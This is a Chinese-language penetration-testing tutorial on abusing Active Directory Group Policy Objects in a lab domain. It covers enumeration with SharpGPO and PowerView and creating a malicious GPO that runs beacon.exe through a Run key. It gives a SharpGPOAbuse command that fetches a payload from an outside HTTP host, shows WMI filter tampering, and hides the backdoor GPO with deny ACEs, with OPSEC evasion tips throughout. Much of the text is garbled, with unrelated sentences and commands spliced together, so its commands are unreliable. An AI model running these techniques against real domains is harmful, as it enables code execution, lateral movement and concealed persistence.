Skip to main content

GPO的利用

在 AD 环境中进行渗透测试时,GPO 对我们来说会是一个具有吸引力的目标。如果我们对 GPO 具有修改权限或更高权限,我们就可以攻陷其他用户并获得远程代码执行或/和横向移动,以及持久化访问。 以下屏幕截图显示了 PROD 域 中的所有 GPO。 在开始枚举和利用之前,让我们熟悉一些有关 GPO 的术语。

概念与术语

组策略

组策略是森林 Windows 操作系统的一项功能,用于控制用户和计算机帐户的工作环境。 组策略在 Active Directory 环境中提供操作系统、应用程序和用户设置的集中管理和配置。

GPO

组策略对象 (GPO) 是一组设置,用于定义系统的配置及其对已定义用户组的行为方式。 GPO 可以链接到 Active Directory 中的站点、域组织单位 (OU)。 它们可用于配置系统设置、安装软件以及将安全策略应用于这些容器中的用户和计算机。新建域中有两个默认 GPO:默认域控制器策略和默认域策略。 每个 GPO 都有一个唯一的 GUID。 例如,默认域控制器策略的 GUID 是 {6AC1786C-016F-11D2-945F-00C04fB984F9},每个活动目录域都将具有相同的值。 自定义 GPO AppLocker 的 GUID 是 {A11820F3-32B3-4598-B3EE-A04E7D9EFC52}。

OU

组织单位 (OU) 是一个容器对象,可以容纳其他 Active Directory 对象,例如用户帐户、计算机帐户和其他 OU。 OU 用于分层组织和管理 Active Directory 对象,并可用于委派对特定对象或对象组的管理控制。 child.htb.local中有5个OU; 它们分别是域控制器、组、服务帐户、SQL Server Tier 1、SQL Server Tier 2 和 Web Server。

GPO(组策略对象)链接可以连接到 Active Directory 容器,例如站点、域或 OU。 GPO 链接将 GPO 应用于它们链接到的容器内的对象。 GPO 链接可以启用或禁用、强制或不强制,并且可以使用链接顺序选项设置 GPO 处理的顺序。 一个 GPO 可以链接到多个 OU; 链接到 OU 的 GPO 将应用于该 OU 和所有子 OU 中的所有对象。 但是,如果链接已启用但未强制执行,则子 OU 可以阻止继承。

在我们的例子中,GPO AppLocker、LAPS 和 RunAsPPL 链接到 OU SQL Server Tier 1; 全部启用但不强制执行。 GPO AppLocker 链接到多个 OU:SQL Server Tier 1、SQL Server Tier 2 和 Web Server。 因此,域计算机 sql01、sql02 和 web01 会受到 AppLocker 的影响。默认域策略链接到域,默认域控制器策略链接到 OU 域控制器。

Security Filter

安全过滤是指定哪些用户和组帐户应受 GPO 影响的过程。 这允许管理员将策略应用于特定用户组,而不是组织单位 (OU) 中的所有用户。 我们注意到 GPO 的默认安全过滤设置是 Authenticated Users 组。

WMI Filter

WMI 过滤是 GPO 的一项功能,它允许管理员仅在满足 Windows Management Instrumentation (WMI) 查询的条件时才应用 GPO,进一步限制哪些计算机和用户配置受到影响,图片来自 https://learn.microsoft。 com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11) 解释过滤过程:

image.png

WMI 查询中央存储库。语法与 组策略对象GPO是应用于OU的配置集。SQL OU中任何查询非常相似; 例如,要过滤所有 64 位计算机(尽管所有计算机都满足此查询),WMI 查询应该是:


SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="64-bit"


以域管理员身份登录到 Dc01,创建一个新的 WMI 过滤器示例,并将查询设置为 SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="64-bit" 。

一个 GPO 一次只能分配 1 个 WMI 筛选器,并且域主体可以在其上具有 DACL。 因此,WMI 过滤可能员都被GPO所影响。
为攻击目标

SYSVOL

在 Dc01 上,SMB 共享位于 C:\windows\sysvol 的 SYSVOL。 默认情况下,它对于域中经过身份验证的用户是可读的。 SYSVOL 是 Windows Active Directory 环境中域控制器上的一个文件夹,其中包含所 GPO 策略文件的服务器副本。 它们被复制到中的所有其他域控制器。 SYSVOL 文件夹确保相同的组策略和登录脚本文件在域中的所有计算机上可用。

组策略偏好

组策略首选项 (GPP) 是 Active Directory 中组策略的一项功能,允许管理员可以创建配置和管理传统组策略设置未涵盖的设置。 它扩展了组策略。 组策略首选项使我们能够配置未包含在标准组策略设置中的设置,例如映射驱动器、计划任务和注册表设置。 比如我们加了一个GPP,它从我们的SMB服务器拉取一个文件,保存到C盘。

客户端扩展

根据 Microsoft https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11) ,组策略首选项 是组策略客户端扩展 (CSE)。 属性 gPCMachineExtensionNames 指定组策略需要哪些 CSE。 根据截图,拉取文件的preference值为 [{00000000-0000-0000-0000-000000000000}{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}][{7150F9BF-48AD-4DA4-A49C-29EF4A836 9BA }{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}]
根据 https://gist.github.com/MyITGuy/92dcede89ab861ffb31cac9f284ffcc3 的脚本,翻译应该是 [{Core GPO 并将GPO链接Engine}{Preference Tool CSE GUID Files}][{Preference CSE GUID Files}{Preference Tool CSE GUID Files }]

 

枚举

我们有多种方式来枚举GPO; 收集足够的信息对于滥用 GPO 至关重要。

SYSVOL

考虑OU,但SYSVOL 包含所有 GPO 的策略文件,并且任何经过身份验证的域用户都可以访问此共享,我们可以检查文件和文件夹以枚举 GPO 信息。 访问UNC路径\\dc01.child.htb.local\sysvol\child.htb.local\policies,我们可以看到所有GPO的文件夹:

 

每个文件夹都是{GUID}的格式,因此,文件夹{A11820F3-32B3-4598-B3EE-A04E7D9EFC52}存储GPO AppLocker的策略文件。 GPO 文件夹中有 Machines 和 User 两个文件夹和一个 ini 文件 GPT.INI。 ini文件包含版本信息; 如果版本值增加,命令 gpupdate 将应用新设置。

我们在 Machine 文件夹中找到一个文件 Registry.pol; 它包含详细的 AppLocker 设置。

这样我们就可以过读取GPO策略文件,比如RunAsPPL,了解其他GPO设置。

寻血猎犬

在 BloodHound 中,我们可以直观地找出一个领域对象与 GPO 之间做法是将这些关系。 例如,计算机帐户Srv01$ 对GPO Audit 具有修改权限委派给其他团队,但它受到多个GPO 的影响。

Adalanche (https://github.com/lkarlslund/Adalanche) 是另一个很棒的 Active Directory ACL 可视化工具和浏览器; 我们可以直接从 repo 下载最新版本的单个二进制文件。

PowerView

我们在前面的章节中已经谈到了枚举 GPO,但这次我们可能会关注更多的属性。 让我们检查一下 GPO AppLocker。

我们可以看到 GPO 的多个属性,例如委派工作站管理员创建显示名称、GUID、gpcmachineextensionnames、版本信息等。

要查找对 GPO 并将其链接到工作站 OU 的具有修改权限
当一组的标准用户有权限修改应用于高特权用户,请执行 cmdlet:

SharpGPO

SharpGPO (https://github.com/Dliv3/SharpGPO) 是枚举和操作 GPO、OU、GPLink 和安全过滤器 GPO 时,或被特权用户使用的计算机,往往容易导致特权提升优秀工具GPO也可被利用与从repo下载源码,打开项目文件,将文件GPO.cs中199行到203行的代码片段注释掉。 横向移动并创建持久化后门否则,我们将得到一个异常。 编译它

image.pngimage.png

            /*    DirectoryEntry[] sites = GetSites();
                foreach (DirectoryEntry site in sites)
                {
                    links.Add(site, GetGPOByGpLink((string)site.Properties["gPLink"].Value));
                }*/

image.png 

RSAT执行命令枚举所有 是微软提供OU:

SharpGPO.exe --Action GetOU

 

执行命令枚举所有 GPO:

SharpGPO.exe --Action GetGPO

 

执行命令枚举所有 GPLink:


SharpGPO.exe --Action GetGPLink


  


并执行命令枚举特定 GPO 安全过滤:


SharpGPO.exe --Action GetSecurityFiltering --gponame AppLocker

 

 

于协助管理域内组件

根据前面管理组件。由于它是合法的工具且经常在工作站与服务器上使用枚举所以计算机账号Srv01对GPO Audit有修改权限; 因此,我们可以不安全的权限来获得代码执行、横向移动和持久化。 我们也有多种方式来实现这些目标。

可写 GPO

从 Srv01 获取 SYSTEM 会话,并尝试将文件写入 AppLocker 和 Audit 的文件夹。 事实证明,Srv01$ 具有对 Audit 文件夹而不是 AppLocker 文件夹的写入权限。 因此,用户对 GPO 及其 SYSVOL 共享文件夹具有一致的权限。

考虑到 Srv01 没有足够的权限来操作 Dc01。 因此我们可以通过 LDAP 修改文件或更新域对象。

以前,我们在审计上添加了一个 GPP,以从我们的 SMB 服务器中提取一个文件,使用凭据 child\Administrator:Passw0rddc01 登录 Dc01,删除首选项,并将 GPO 审计链接到 SQL Server Tier 1。

此外,在 OU 域控制器上添加 Srv01 Link GPOs 权限。

这篇文章 (https://www.trustedsec.com/blog/weaponizing-group-policy-objects-access/?utm_content=140183152&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306) 极大地说明了如何操作策略文件,以及 gPCMachineExtensionNames 属性 修改首选项。 例如,我们可以修改首选项以创建计划任务来执行我们的有效负载。 但是,要实现这一点,我们需要携带外部工具。
GroupPolicy模块有数个powershell命令可被用于管理GPO,包括
new-gpo:正确的格式创建一个 XML 文件 ScheduledTasks.xml,找到所需空GPO
new-gplink:将一个GPO连接到站点、域 gPCMachineExtensionNames 属性值 [{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]或OU
set-gpprefregistryvalue:在计算机或用户配置下配置一个注册表偏好条目

set-gpregistryvalue:在用户或计算机配置中配置一个或多个基于注册表策略的设置
get-gporeport:生成XML或HTML格式的报告
创建一个GPO并且立刻链接到目标OU
powershell new-gpo -name "evil" | new-gplink -target "ou=workstations, dc=dev, dc=cyberbotic, dc=io"
OPSEC:新建的GPO会在组策略管理控制台以及其他RSAT工具中显示,尽可能让GPO名称看起来合法

RCE
Set-GPPrefRegistryValue -Name "evil" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\dc-2\c$\users\beacon.exe" -Type ExpandString
每台主机会每隔几个小时自动刷新GPO,但我们可以使用gpupdate /target:computer /force来强制立刻同步GPO。之后可以查看注册表来手动确认GPO已经作用于该主机了

添加恶意的GPO并连接到OU以及强制更新

GPT.INI文件。

SharpGPOAbuse (image.png

SharpGPOAbuse工具(https://github.com/FSecureLABS/SharpGPOAbuse) )可被用于进行一系列对GPO的利用。它不能创建新的GPO,因此在这之前或 SharpGPO 等工具已经为我们需要用RSAT等工具创建目标GPO或者对包装了这些步骤和操作。 我们具有写权限的GPO进行利用
可以使用SharpGPOAbuse给目标GPO添加立即的计划任务
SharpGPOAbuse.以下命令运行 SharpGPOAbuse:

sharpgpoabuse.exe --AddComputerTaskAddComputerScript --TaskNameScriptName "Install Updates"logon.bat --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/cScriptContents \\dc-2\c$\users\beacon.exe""powershell iwr http://192.168.0.44:8080/pwn\" --GPOName \"PowerShellAudit\
Logging"
等待一段时间之后

We can see the script is created successfully:

 

 

Srv01对GPO Audit有修改权限或强但没有对整个GPO的修改权限,所以不能新建GPO。 考虑到 Srv01 可以将 GPO 链接到域控刷新,我们会获得可以攻破 Dc01。 要创建到 OU 控制器的新 GPLink,命令应为:

SharpGPO.exe --Action NewGPLink --DN \"OU=Domain Controllers,DC=child,DC=htb,DC=local\" --GPOName Audit

查看当前的GPLink,Audit成功链接到Domain Controllers。

 

 

修改 WMI Filter

Rasta Mouse 发布了一个有趣的 WMI 过滤器滥用 (https://rastamouse.me/ous-and-gpos-and-wmi-filters-oh-my/)。 为了说明滥用情况,以域管理员身份登录 Dc01,打开 Active Directory 用户和计算机,新建一个 OU 资产,并将 SQL Server Tier 1、SQL Server Tier 2 和 Web Server 添加到资产中。 所以,Assets是父OU,added是子OU。 在移动这些 OU 之前,我们需要移除删除保护。

打开组策略管理,并授予 Srv01$ 对 WMI 筛选器示例的完全控制权限。 这样,Srv01 就可以修改 WMI Filters Example。

创建一个新的 GPO Global,将其链接到 GPO Global,然后应用 WMI Filter Example。 考虑到 Assets 是父 OU,它已启用。 因此计算机 Srv01、Srv02 和 Web01 受此 GPO 影响。

如下编辑 WMI 筛选器,因为所有计算都是 64 位连接。 因此,没有一台计算机实际应用了这个GPO。

SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="32-bit" 

综上所述,Srv01可以修改应用于GPO Global的WMI Filter,但不能修改GPO。 让我们如下添加一个计算机首选项,然后返回到任何服务器的会话并检查新文件是否保存到 C 盘。更新GPO,查看本地文件; 该文件未保存,这是预期的,因为系统是 64 位架构。

使用 PowerView 枚举可写 WMI 过滤器; 该 cmdlet 应如下所示:

Get-DomainObjectAcl -SearchBase“CN=SOM,CN=WmiPolicy,CN=System,DC=child,DC=htb,DC=local”-LDAPFilter“(objectclass=msWMI-Som)”-ResolveGUIDs | ? { $_.ActiveDirectoryRights -like "*WriteProperty*" }


GUID 是 {F0BB405E-87C9-42E0-8384-13C79692A678}

计算新查询的长度,即 66。通过执行 cmdlet 修改 WMI 查询:

Set-DomainObject -Identity“{F0BB405E-87C9-42E0-8384-13C79692A678}”-Set @{ 'mswmi-parm2' = '1;3;10;66;WQL;root\CIMv2;SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture = “64 位”' } - verbose

该文件从我们的 SMB 服务器中提取并保存在本地磁盘上。 滥用 WMI 过滤器是有效的。

隐藏持久化

我们提到 GPO 可能被滥用来持久访问。 为了更好地隐藏我们的坚持,文章 https://pentestmag.com/gpo-abuse-you-cant-see-me/ 演示了一个技巧。

假设我们已经通过滥用 GPO 破坏了域管理员或域控制器,我们可以登录 Dc01 来隐藏我们的持久性。 打开Active Directory Users and Computers,选择GPO Global的Security选项卡,添加一个DENY ACE,防止所有principals读写GPO

让我们比较之前和之后:

通过这种方式,我们可以隐藏我们的后门 GPO 并实现更安全的持久化。